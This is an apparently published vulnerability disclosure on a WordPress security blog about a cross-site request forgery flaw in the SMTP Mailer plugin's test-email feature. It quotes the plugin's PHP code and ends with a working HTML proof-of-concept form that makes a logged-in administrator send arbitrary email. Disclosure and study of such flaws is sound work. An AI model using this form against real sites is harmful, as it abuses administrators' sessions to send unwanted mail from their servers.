29 Mar

Cross-Site Request Forgery (CSRF)/Email Sending Vulnerability in SMTP Mailer

Yesterday one of the 1,000 most popular WordPress plugins, SMTP Mailer, was closed on the Plugin Directory. We are not following why it appears to be closed, as subsequent to the closure a new version was released with the following accurate chagelog entry, “SMTP Mailer no longer shows the saved password in the settings.”, and the plugin was reopened. Seeing as the password was shown on a page normally only accessible by Administrators and they normally have the ability to just about anything it isn’t clear what the issue was here that would justify the closure. When we went to try to get a better understanding of that we noticed there is a clear security vulnerability in the most recent version of the plugin, which could allow an attacker to cause logged in WordPress Administrators to send out emails without intending it.

When we went to look at the settings page we saw there also was a tab for sending a “Test Email”:

That allows setting the email address, subject, and message to be sent:

A quick check showed that there wasn’t a check for a valid nonce to prevent cross-site request forgery (CSRF) when using that (despite a nonce being sent with the request sent from the page).

We then looked at the underlying code to confirm that result and see how that code is accessed, to see if there might be more of an issue.

The plugin register’s its settings page to be accessible to those with the “manage_options” capability, so normally only Administrators:

72
add_options_page(__('SMTP Mailer', 'smtp-mailer'), __('SMTP Mailer', 'smtp-mailer'), 'manage_options', 'smtp-mailer-settings', array($this, 'options_page'));

In the function options_page(), which runs when accessing that page if the GET input “action” exists and is set to “test-email” then function test_email_settings() will run:

104
105
106
if(isset($_GET['action']) && $_GET['action'] == 'test-email'){            
	$this->test_email_settings();
}

As long as the POST input “smtp_mailer_send_test_email” exists that function will send an email with the email address, subject, and message specified by user input:

116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
function test_email_settings(){
	if(isset($_POST['smtp_mailer_send_test_email'])){
		$to = '';
		if(isset($_POST['smtp_mailer_to_email']) && !empty($_POST['smtp_mailer_to_email'])){
			$to = sanitize_text_field($_POST['smtp_mailer_to_email']);
		}
		$subject = '';
		if(isset($_POST['smtp_mailer_email_subject']) && !empty($_POST['smtp_mailer_email_subject'])){
			$subject = sanitize_text_field($_POST['smtp_mailer_email_subject']);
		}
		$message = '';
		if(isset($_POST['smtp_mailer_email_body']) && !empty($_POST['smtp_mailer_email_body'])){
			$message = sanitize_text_field($_POST['smtp_mailer_email_body']);
		}
		wp_mail($to, $subject, $message);           
	}

For an Administrator to do that wouldn’t be a vulnerability, but since there isn’t protection against CSRF, the Administrator could be caused to send out emails without intending it.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Proof of Concept

The following proof of concept will send out an email to the  specified to address, when logged in as Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress and the details of the email to send out.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=smtp-mailer-settings&action=test-email" method="POST">
<input type="hidden" name="smtp_mailer_to_email" value="" />
<input type="hidden" name="smtp_mailer_email_subject" value="" />
<input type="hidden" name="smtp_mailer_email_body" value="" />
<input type="hidden" name="smtp_mailer_send_test_email" value="Send Email" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service you can suggest/vote for the plugins you use to receive a security review from us. You can start using the service for free when you sign up now.

Leave a Reply

Your email address will not be published. Required fields are marked *